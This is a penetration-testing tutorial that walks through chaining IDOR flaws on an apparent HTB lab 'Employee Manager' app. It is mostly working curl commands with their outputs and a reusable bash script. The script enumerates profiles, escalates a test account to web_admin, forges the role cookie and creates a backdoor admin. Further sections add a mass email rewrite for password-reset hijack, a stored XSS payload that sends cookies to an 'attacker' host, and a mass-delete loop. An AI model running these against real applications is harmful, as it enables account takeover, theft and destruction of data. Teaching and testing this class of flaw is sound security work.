Chaining
A single IDOR rarely yields the full impact. Chains combine three primitives in sequence: disclosure → modification → privilege escalation. Each step’s output supplies the next step’s input.
# 1. Disclosure - leak the uuid you need to bypass mismatch defensesGET /api/profile/2 → {"uuid": "4a9bd...", "role": "employee"}
# 2. Modification - write to someone else's record with their uuidPUT /api/profile/2 with {"uid":2, "uuid":"4a9bd...", "email":"attacker@evil"}
# 3. Privilege escalation - discover admin role name, set it on yourselffor i in 1..100; do GET /api/profile/$i; done → find admin record's role stringPUT /api/profile/1 with {"role":"web_admin", ...}
# 4. Admin function call - now you can use admin-only endpointsPOST /api/profile/new with {"role":"web_admin"} # create backdoor accountSuccess indicator: each step’s response is “success” (not an access-control error), and you end up with an account-level admin capability - create/delete users, modify any record, full takeover of the application.
The chain structure
Section titled “The chain structure”Every IDOR chain follows the same arc:
| Stage | Primitive | What you have before | What you have after |
|---|---|---|---|
| 1 | Disclosure | One test account | Foreign uuids, full record schemas, role names |
| 2 | Modification | Foreign uuids | Ability to change foreign records |
| 3 | Self-escalation | Knowledge of admin role’s string | Your own account is admin |
| 4 | Admin abuse | Admin role | Create/delete users, mass-modify, full app control |
Some chains skip stages - for example, when the admin-role string is “admin” (guessable), stage 3 doesn’t need stage 1’s enumeration. Most modern apps name roles less obviously (web_admin, superuser, internal-staff, system-administrator), making the disclosure-driven enumeration necessary.
The Employee Manager walkthrough
Section titled “The Employee Manager walkthrough”A realistic engagement combining all four stages. The app:
- Users have profiles with
uid,uuid,role,full_name,email,about - Profile management at
/profile(UI) and/profile/api.php/profile/<id>(API) - Edit-profile via PUT to the API
- Create-user / delete-user gated by
role=admincookie check on the back-end - Test account:
htb-studentwithuid=1, roleemployee
Step 0 - Reconnaissance
Section titled “Step 0 - Reconnaissance”Log in. Walk the app. In Burp’s HTTP history, identify the API endpoints:
GET /profile ← HTML pageGET /profile/api.php/profile/1 ← own profile JSONPUT /profile/api.php/profile/1 ← update own profilePOST /profile/api.php/profile/new ← (only invoked by admin UI)DELETE /profile/api.php/profile/<id> ← (only invoked by admin UI)The POST and DELETE endpoints are not used by your role’s UI but the JS bundle defines them - they’re admin-only client-side. Worth probing.
Front-end JS reveals:
function deleteEmployee(uid) { if (!is_admin) return; $.ajax({ url: '/profile/api.php/profile/' + uid, type: 'DELETE', ... });}The if (!is_admin) return; is client-side gating. The server-side gate is a separate question, and a chained IDOR target.
Step 1 - Naive substitution (and its failures)
Section titled “Step 1 - Naive substitution (and its failures)”First try the obvious bypasses to confirm what’s defended:
# Try to change our uid in the body$ curl -sb 'PHPSESSID=mine;role=employee' \ -X PUT 'http://target/profile/api.php/profile/1' \ -H 'Content-Type: application/json' \ -d '{ "uid": 2, "uuid": "40f5888b67c748df7efba008e7c2f9d2", "role": "employee", "full_name": "X", "email": "X", "about": "X" }'# {"error": "uid mismatch"}# Try to update profile/2 with our uuid$ curl -sb 'PHPSESSID=mine;role=employee' \ -X PUT 'http://target/profile/api.php/profile/2' \ -H 'Content-Type: application/json' \ -d '{ "uid": 2, "uuid": "40f5888b67c748df7efba008e7c2f9d2", "role": "employee", ... }'# {"error": "uuid mismatch"}# Try POST to create new user$ curl -sb 'PHPSESSID=mine;role=employee' \ -X POST 'http://target/profile/api.php/profile/new' \ -d '{...}'# {"error": "Creating new employees is for admins only"}# Try setting our role to admin$ curl -sb 'PHPSESSID=mine;role=employee' \ -X PUT 'http://target/profile/api.php/profile/1' \ -d '{"uid":1, "uuid":"40f5...", "role":"admin", ...}'# {"error": "Invalid role"} ← guessed wrong role nameFour naive bypasses, four blocks. But each tells you about a different defense layer:
- uid mismatch → request fields are validated against each other
- uuid mismatch → same, plus uuid is checked against DB
- admin role check → POST/DELETE require
role=admincookie - role enum check → role field is validated against a whitelist (but the whitelist content is unknown)
None of these defenses check whether the caller is the owner of the target resource. They check field consistency and role-enum-validity. That’s the gap.
Step 2 - The GET-disclosure pivot
Section titled “Step 2 - The GET-disclosure pivot”The defenses for PUT, POST, DELETE all require fields you don’t yet have (foreign uuid, admin role string). The GET endpoint hasn’t been protected - most apps secure write paths and forget read paths.
$ curl -sb 'PHPSESSID=mine;role=employee' \ 'http://target/profile/api.php/profile/2'
{ "uid": "2", "uuid": "4a9bd19b3b8676199592a346051f950c", "role": "employee", "full_name": "Iona Franklyn", "about": "..."}Got user 2’s uuid. The disclosure IDOR is confirmed.
Step 3 - Mass enumeration to find the admin
Section titled “Step 3 - Mass enumeration to find the admin”Loop through uid=1..100 and capture all records:
$ for i in $(seq 1 100); do curl -sb 'PHPSESSID=mine;role=employee' \ "http://target/profile/api.php/profile/$i" \ | jq -c . done > all-profiles.jsonFilter for non-employee roles:
$ jq 'select(.role != "employee")' all-profiles.json
{ "uid": "52", "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae", "role": "web_admin", "full_name": "administrator", "about": "HTB{this_isnt_the_real_flag}"}Two values acquired:
web_adminis the admin role string (use it in PUT for self-escalation)- The admin’s uuid is
a36fa9e66e85f2dd6f5e13cad45248ae(use it in PUT to modify the admin’s record)
Step 4 - Self-escalation
Section titled “Step 4 - Self-escalation”Set your own role to web_admin via PUT. The mismatch defense doesn’t block this because:
uid: 1matches the URL path/profile/1(no uid mismatch)uuid: 40f5...(your own) matches the DB for uid 1 (no uuid mismatch)role: web_adminis in the allowed-roles whitelist (no invalid-role error)
$ curl -sb 'PHPSESSID=mine;role=employee' \ -X PUT 'http://target/profile/api.php/profile/1' \ -H 'Content-Type: application/json' \ -d '{ "uid": 1, "uuid": "40f5888b67c748df7efba008e7c2f9d2", "role": "web_admin", "full_name": "Amy Lindon", "email": "[email protected]", "about": "..." }'# {"success": true}Confirm:
$ curl -sb 'PHPSESSID=mine;role=employee' \ 'http://target/profile/api.php/profile/1' | jq .role"web_admin"Your DB record is now admin. But the cookie is still role=employee - the back-end role=admin checks for POST/DELETE will still fail until the cookie reflects the new role.
Step 5 - Refresh the role cookie
Section titled “Step 5 - Refresh the role cookie”Two paths to update the cookie:
Path A - re-login. The login flow reads the DB-stored role and sets the cookie accordingly. Logging out and back in produces a new cookie:
Set-Cookie: role=web_adminPath B - set the cookie manually. Since the cookie is client-trusted (the whole reason this is exploitable), you can just edit it:
$ curl -sb 'PHPSESSID=mine;role=web_admin' \ -X POST 'http://target/profile/api.php/profile/new' \ -H 'Content-Type: application/json' \ -d '{ "uid": 101, "uuid": "deadbeefdeadbeefdeadbeefdeadbeef", "role": "web_admin", "full_name": "backdoor", "email": "[email protected]", "about": "" }'# {"success": true}The back-end role=admin check passes because the cookie now says web_admin. The new user is created with web_admin privileges.
Step 6 - Confirm the backdoor
Section titled “Step 6 - Confirm the backdoor”$ curl -sb 'PHPSESSID=mine;role=web_admin' \ 'http://target/profile/api.php/profile/101' | jq
{ "uid": "101", "uuid": "deadbeefdeadbeefdeadbeefdeadbeef", "role": "web_admin", "full_name": "backdoor", "about": ""}A persistent admin account exists. Even if the operator’s session expires or the target patches the IDOR chain, the backdoor remains until manually pruned.
Alternative chain endings
Section titled “Alternative chain endings”Instead of (or in addition to) creating a backdoor admin account, the same primitives unlock these outcomes:
Mass email-rewrite for password-reset hijack
Section titled “Mass email-rewrite for password-reset hijack”# Read every uuid$ jq -r '"\(.uid) \(.uuid)"' all-profiles.json > targets.txt
# Rewrite every email to one you controlwhile read uid uuid; do curl -sb 'PHPSESSID=mine;role=web_admin' \ -X PUT "http://target/profile/api.php/profile/$uid" \ -H 'Content-Type: application/json' \ -d "{ \"uid\": $uid, \"uuid\": \"$uuid\", \"role\": \"employee\", \"email\": \"victim${uid}@attacker.com\", \"full_name\": \"...\", \"about\": \"...\" }"done < targets.txtThen trigger password reset for each - reset link arrives at attacker email. Mass account takeover.
Stored XSS via the “about” field
Section titled “Stored XSS via the “about” field”If the about field renders unescaped on the profile page (and admins occasionally view employee profiles), inject XSS:
$ curl -sb 'PHPSESSID=mine;role=web_admin' \ -X PUT 'http://target/profile/api.php/profile/52' \ -H 'Content-Type: application/json' \ -d "{ \"uid\": 52, \"uuid\": \"a36fa9e66e85f2dd6f5e13cad45248ae\", \"role\": \"web_admin\", \"full_name\": \"administrator\", \"about\": \"<script>fetch('http://attacker:8000/?c='+document.cookie)</script>\" }"Admin views their own profile (a common workflow), XSS fires in admin’s browser, cookie exfiltrates to attacker. See XSS to session for the callback infrastructure.
Delete the audit trail
Section titled “Delete the audit trail”When the app has a delete capability and tracks the deletion in an audit log:
# Delete users en masse to denial-of-service the app$ for uid in $(seq 1 100); do curl -sb 'PHPSESSID=mine;role=web_admin' \ -X DELETE "http://target/profile/api.php/profile/$uid" done
# Or selectively delete audit records that mention youGenerally not desirable in a real engagement (destructive, irreversible, alerts the SOC immediately) but worth documenting as a capability the chain enables.
When the chain hits a wall
Section titled “When the chain hits a wall”Common stopping points and the workarounds:
Stage 1 fails - GET is access-controlled
Section titled “Stage 1 fails - GET is access-controlled”If GET on foreign profiles returns 403 / “access denied”, the disclosure IDOR isn’t there.
Workarounds:
- Try alternate GET endpoints.
/api/profile/2might be defended;/api/users/2,/api/employees/2,/api/me?id=2,/api/admin/usersmight not. - Look for collection endpoints. A
/api/employeeslisting endpoint might dump every user’s data in one response. - Probe for verb tampering. GET is defended; HEAD might not be. HEAD reveals the response headers including
Content-Length- sometimes a leak in itself. - Look for analytics/reporting endpoints that aggregate user data without per-user access control.
Stage 2 fails - uuid mismatch can’t be bypassed
Section titled “Stage 2 fails - uuid mismatch can’t be bypassed”If the GET disclosure works but PUT still fails because the disclosed uuid is “wrong” for the target (e.g., apps that compute uuid from session_id rather than storing per-user uuid):
- Test if uuid is checked against the DB or computed on-the-fly. Submit a deliberately wrong uuid; if the error message changes, that’s a hint.
- Look for a separate PATCH endpoint. PATCH sometimes has weaker validation than PUT.
- Try mass-assignment via POST. Apps that block PUT on existing records sometimes allow POST that creates-or-updates, and the POST flow has different validation.
Stage 3 fails - invalid role for every guess
Section titled “Stage 3 fails - invalid role for every guess”If the role whitelist doesn’t include any obvious admin string:
- Look for non-role privilege fields.
is_admin: true,permissions: ["admin"],groups: ["administrators"]might be honored whererole: "admin"isn’t. - Look for nested role objects.
role: {name: "admin"}orrole_id: 1might bypass a flat-string check. - Multi-account discovery. If you can register a second account, sometimes the default role for new accounts differs subtly from existing users - and reading the registration POST response reveals more about the role schema.
Stage 4 fails - admin endpoints still reject
Section titled “Stage 4 fails - admin endpoints still reject”The role cookie says admin but POST /api/profile/new still returns “for admins only”:
- The back-end checks against the DB role, not the cookie. Re-login is required.
- The back-end checks against a different authorization layer. Maybe
Authorization: Bearer <token>claims, not the cookie. Find where the original admin’s privilege actually comes from. - Different verbs have different auth. POST is admin-only via cookie and the body parsing checks for a CSRF token bound to admin session. See CSRF token bypass.
The complete chain - one-shot script
Section titled “The complete chain - one-shot script”For documentation / re-use across similar targets:
#!/bin/bash# IDOR chain exploitation, generic templateSESSION='PHPSESSID=mine'BASE='http://target/profile/api.php/profile'MY_UID=1MY_UUID='40f5888b67c748df7efba008e7c2f9d2'
# Stage 1: Mass disclosureecho "[+] Stage 1: Enumerating profiles"for i in $(seq 1 200); do curl -sb "$SESSION;role=employee" "$BASE/$i" 2>/dev/nulldone | jq -c 'select(.uid != null)' > all.json
# Stage 2: Find admin roleecho "[+] Stage 2: Identifying admin role"ADMIN_ROLE=$(jq -r 'select(.role != "employee") | .role' all.json | head -1)echo " Admin role string: $ADMIN_ROLE"
# Stage 3: Self-escalateecho "[+] Stage 3: Escalating own role to $ADMIN_ROLE"curl -sb "$SESSION;role=employee" -X PUT "$BASE/$MY_UID" \ -H 'Content-Type: application/json' \ -d "{ \"uid\": $MY_UID, \"uuid\": \"$MY_UUID\", \"role\": \"$ADMIN_ROLE\", \"full_name\": \"Amy Lindon\", \"about\": \"\" }"
# Stage 4: Create backdoor adminecho "[+] Stage 4: Creating backdoor admin"curl -sb "$SESSION;role=$ADMIN_ROLE" -X POST "$BASE/new" \ -H 'Content-Type: application/json' \ -d "{ \"uid\": 999, \"uuid\": \"deadbeefdeadbeefdeadbeefdeadbeef\", \"role\": \"$ADMIN_ROLE\", \"full_name\": \"backdoor\", \"about\": \"\" }"
echo "[+] Chain complete. Backdoor uid=999 with role=$ADMIN_ROLE"Reporting the chain
Section titled “Reporting the chain”Three separate findings, one composite impact:
| Finding | Standalone severity | Chained role |
|---|---|---|
GET disclosure on /api/profile/<id> | Medium (leaks uuids, emails) | Enabling - unlocks PUT |
PUT on /api/profile/<id> without owner check | Medium (other users’ record modification) | Privilege escalation pivot |
| Role-field client-trust (PUT accepts arbitrary role string from whitelist) | Medium (own-role escalation) | Direct admin path |
| Cookie-based privilege (role=admin) honored without DB check | Medium-High (client-side role assertion) | Final unlock |
Combined: unauthenticated path to administrative compromise with a single low-privilege test account. Critical.
The narrative is what justifies the upgrade. Each finding’s “if I exploit only this, how bad is it” is moderate; together they form a kill chain.
Quick reference
Section titled “Quick reference”| Stage | Pattern |
|---|---|
| 1 - Discovery | Read JS for AJAX endpoints, probe OPTIONS /api/* for accepted verbs |
| 2 - Naive failure | Try uid=other in body, target /foreign with own uuid; observe error names |
| 3 - Disclosure | curl GET /api/profile/<id> for each id, save responses |
| 4 - Role name leak | jq 'select(.role != "<your_role>")' over disclosure output |
| 5 - Self-escalate | PUT own record with role: "<admin_role>", matching own uid+uuid |
| 6 - Cookie refresh | Re-login OR set Cookie: role=<admin_role> manually |
| 7 - Admin actions | POST/DELETE on admin-only endpoints now work |
| Bypass uid mismatch | Match request fields (uid, uuid, path) consistently |
| Bypass uuid mismatch | Use GET to harvest target’s uuid first |
| Bypass invalid role | Use a real role string from disclosed records |
| Bypass admin-only POST | Set cookie role manually after self-escalation |
| Alternate endings | Mass email rewrite → password reset hijack; XSS in about field; mass DELETE |
For the verb-tampering details that often appear alongside in these chains, see Verb tampering. For session-attack delivery patterns, see Sessions cluster. For when the chain culminates in XML/XXE attacks (admin-only event-creation surfaces, for example), see the XXE cluster.